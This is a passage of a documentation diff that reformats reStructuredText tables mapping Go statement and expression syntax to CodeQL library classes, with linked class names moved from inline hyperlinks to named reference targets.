https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CommClause.html | | .. _SelectStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SelectStmt.html | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``case`` RecvStmt_\ ``:`` Stmt_ ``...`` | | | | -| | | | | -| .. _RecvStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$RecvStmt.html | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``default:`` Stmt_ ``...`` | | | | -| | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``...`` ``=`` RecvExpr_ | RecvStmt_ | | can only occur as child of a CommClause_ | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _RecvStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$RecvStmt.html | | .. _CommClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CommClause.html | -| .. _RecvExpr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RecvExpr.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| VariableName_ ``...`` ``:=`` RecvExpr_ | | | | -| | | | | -| .. _VariableName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$VariableName.html | | | | -| .. _RecvExpr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RecvExpr.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| (anything unparseable) | BadStmt_ | | | -| | | | | -| | .. _BadStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BadStmt.html | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Statement syntax | CodeQL class | Superclasses | Remarks | ++=======================================================================================================================+=======================+==================================+======================================================================================+ +| ``;`` | EmptyStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ | ExprStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``{`` Stmt_ ``...`` ``}`` | BlockStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``if`` Expr_ BlockStmt_ | IfStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``if`` Expr_ BlockStmt_ ``else`` Stmt_ | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``if`` Stmt_\ ``;`` Expr_ BlockStmt_ | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``for`` Expr_ BlockStmt_ | ForStmt_ | LoopStmt_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``for`` Stmt_\ ``;`` Expr_\ ``;`` Stmt_ BlockStmt_ | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``for`` Expr_ ``...`` ``=`` ``range`` Expr_ BlockStmt_ | RangeStmt_ | LoopStmt_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``switch`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | ExpressionSwitchStmt_ | SwitchStmt_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``switch`` Stmt_\ ``;`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``switch`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | TypeSwitchStmt_ | SwitchStmt_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``switch`` SimpleAssignStmt_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``switch`` Stmt_\ ``;`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``select`` ``{`` CommClause_ ``...`` ``}`` | SelectStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``return`` | ReturnStmt_ | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``break`` | BreakStmt_ | BranchStmt_ | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``continue`` | ContinueStmt_ | BranchStmt_ | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``goto`` LabelName_ | GotoStmt_ | BranchStmt_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``fallthrough`` | FallthroughStmt_ | BranchStmt_ | can only occur as final non-empty child of a CaseClause_ in an ExpressionSwitchStmt_ | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| LabelName_\ ``:`` Stmt_ | LabeledStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``var`` VariableName_ TypeName_ | DeclStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``const`` VariableName_ ``=`` Expr_ | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``type`` TypeName_ TypeExpr_ | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``type`` TypeName_ ``=`` TypeExpr_ | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``...`` ``=`` Expr_ ``...`` | AssignStmt_ | SimpleAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| VariableName_ ``...`` ``:=`` Expr_ ``...`` | DefineStmt_ | SimpleAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``+=`` Expr_ | AddAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``-=`` Expr_ | SubAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``/=`` Expr_ | QuoAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``%=`` Expr_ | RemAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``&=`` Expr_ | AndAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ `` | =`` Expr_ | OrAssignStmt_ | CompoundAssignStmt_, Assignment_ | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``^=`` Expr_ | XorAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``<<=`` Expr_ | ShlAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``>>=`` Expr_ | ShrAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``&^=`` Expr_ | AndNotAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``++`` | IncStmt_ | IncDecStmt_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``--`` | DecStmt_ | IncDecStmt_ | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``go`` CallExpr_ | GoStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``defer`` CallExpr_ | DeferStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``<-`` Expr_ | SendStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``case`` Expr_ ``...``\ ``:`` Stmt_ ``...`` | CaseClause_ | | can only occur as child of a SwitchStmt_ | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``case`` TypeExpr_ ``...``\ ``:`` Stmt_ ``...`` | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``default:`` Stmt_ ``...`` | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| ``case`` SendStmt_\ ``:`` Stmt_ ``...`` | CommClause_ | | can only occur as child of a SelectStmt_ | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``case`` RecvStmt_\ ``:`` Stmt_ ``...`` | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| ``default:`` Stmt_ ``...`` | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| Expr_ ``...`` ``=`` RecvExpr_ | RecvStmt_ | | can only occur as child of a CommClause_ | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+ | | | +| VariableName_ ``...`` ``:=`` RecvExpr_ | | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ +| (anything unparseable) | BadStmt_ | | | +| | | | | ++-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ Expression classes ------------------ There are many expression classes, so we present them by category. All classes in this section are subclasses of -`Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__. +Expr_. Literals ~~~~~~~~ -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| Expression syntax example | CodeQL class | Superclass | -+=========================================+==============================================================================================+====================================================================================================+ -| ``23`` | `IntLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$IntLit.html>`__ | `BasicLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BasicLit.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``4.2`` | `FloatLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$FloatLit.html>`__ | `BasicLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BasicLit.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``4.2 + 2.7i`` | `ImagLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ImagLit.html>`__ | `BasicLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BasicLit.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``'a'`` | `CharLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CharLit.html>`__ | `BasicLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BasicLit.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``"Hello"`` | `StringLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$StringLit.html>`__ | `BasicLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BasicLit.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``func(x, y int) int { return x + y }`` | `FuncLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$FuncLit.html>`__ | `FuncDef <https://help.semmle.com/qldoc/go/semmle/go/Decls.qll/type.Decls$FuncDef.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``map[string]int{"A": 1, "B": 2}`` | `MapLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$MapLit.html>`__ | `CompositeLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CompositeLit.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``Point3D{0.5, -0.5, 0.5}`` | `StructLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$StructLit.html>`__ | `CompositeLit <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CompositeLit.html>`__ | -+-----------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ ++-----------------------------------------+--------------+---------------+ +| Expression syntax example | CodeQL class | Superclass | ++=========================================+==============+===============+ +| ``23`` | IntLit_ | BasicLit_ | ++-----------------------------------------+--------------+---------------+ +| ``4.2`` | FloatLit_ | BasicLit_ | ++-----------------------------------------+--------------+---------------+ +| ``4.2 + 2.7i`` | ImagLit_ | BasicLit_ | ++-----------------------------------------+--------------+---------------+ +| ``'a'`` | CharLit_ | BasicLit_ | ++-----------------------------------------+--------------+---------------+ +| ``"Hello"`` | StringLit_ | BasicLit_ | ++-----------------------------------------+--------------+---------------+ +| ``func(x, y int) int { return x + y }`` | FuncLit_ | FuncDef_ | ++-----------------------------------------+--------------+---------------+ +| ``map[string]int{"A": 1, "B": 2}`` | MapLit_ | CompositeLit_ | ++-----------------------------------------+--------------+---------------+ +| ``Point3D{0.5, -0.5, 0.5}`` | StructLit_ | CompositeLit_ | ++-----------------------------------------+--------------+---------------+ Unary expressions ~~~~~~~~~~~~~~~~~ All classes in this subsection are subclasses of -`UnaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$UnaryExpr.html>`__. +UnaryExpr_. -+--------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | -+============================================================================================+========================================================================================================+==================================================================================================================+ -| ``+``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `PlusExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$PlusExpr.html>`__ | `ArithmeticUnaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArithmeticUnaryExpr.html>`__ | -+--------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| ``-``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `MinusExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$MinusExpr.html>`__ | `ArithmeticUnaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArithmeticUnaryExpr.html>`__ | -+--------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| ``!``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `NotExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$NotExpr.html>`__ | `LogicalUnaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LogicalUnaryExpr.html>`__ | -+--------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| ``^``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `ComplementExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ComplementExpr.html>`__ | `BitwiseUnaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BitwiseUnaryExpr.html>`__ | -+--------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| ``&``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `AddressExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$AddressExpr.html>`__ | | -+--------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| ``<-``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `RecvExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RecvExpr.html>`__ | | -+--------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ ++-------------------+-----------------+----------------------+ +| Expression syntax | CodeQL class | Superclasses | ++===================+=================+======================+ +| ``+``\ Expr_ | PlusExpr_ | ArithmeticUnaryExpr_ | ++-------------------+-----------------+----------------------+ +| ``-``\ Expr_ | MinusExpr_ | ArithmeticUnaryExpr_ | ++-------------------+-----------------+----------------------+ +| ``!``\ Expr_ | NotExpr_ | LogicalUnaryExpr_ | ++-------------------+-----------------+----------------------+ +| ``^``\ Expr_ | ComplementExpr_ | BitwiseUnaryExpr_ | ++-------------------+-----------------+----------------------+ +| ``&``\ Expr_ | AddressExpr_ | | ++-------------------+-----------------+----------------------+ +| ``<-``\ Expr_ | RecvExpr_ | | ++-------------------+-----------------+----------------------+ Binary expressions ~~~~~~~~~~~~~~~~~~ All classes in this subsection are subclasses of -`BinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BinaryExpr.html>`__. +BinaryExpr_. -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | -+==============================================================================================================================================================================+================================================================================================+============================================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``*`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `MulExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$MulExpr.html>`__ | `ArithmeticBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArithmeticBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``/`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `QuoExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$QuoExpr.html>`__ | `ArithmeticBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArithmeticBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``%`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `RemExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RemExpr.html>`__ | `ArithmeticBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArithmeticBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``+`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `AddExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$AddExpr.html>`__ | `ArithmeticBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArithmeticBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``-`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `SubExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$SubExpr.html>`__ | `ArithmeticBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArithmeticBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``<<`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `ShlExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ShlExpr.html>`__ | `ShiftExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ShiftExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``>>`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `ShrExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ShrExpr.html>`__ | `ShiftExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ShiftExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``&&`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `LandExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LandExpr.html>`__ | `LogicalBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LogicalBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``||`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `LorExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LorExpr.html>`__ | `LogicalBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LogicalBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``<`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `LssExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LssExpr.html>`__ | `RelationalComparisonExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RelationalComparisonExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``>`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `GtrExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$GtrExpr.html>`__ | `RelationalComparisonExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RelationalComparisonExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``<=`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `LeqExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LeqExpr.html>`__ | `RelationalComparisonExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RelationalComparisonExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``>=`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `GeqExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$GeqExpr.html>`__ | `RelationalComparisonExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RelationalComparisonExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``==`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `EqlExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$EqlExpr.html>`__ | `EqualityTestExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$EqualityTestExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``!=`` `Expr 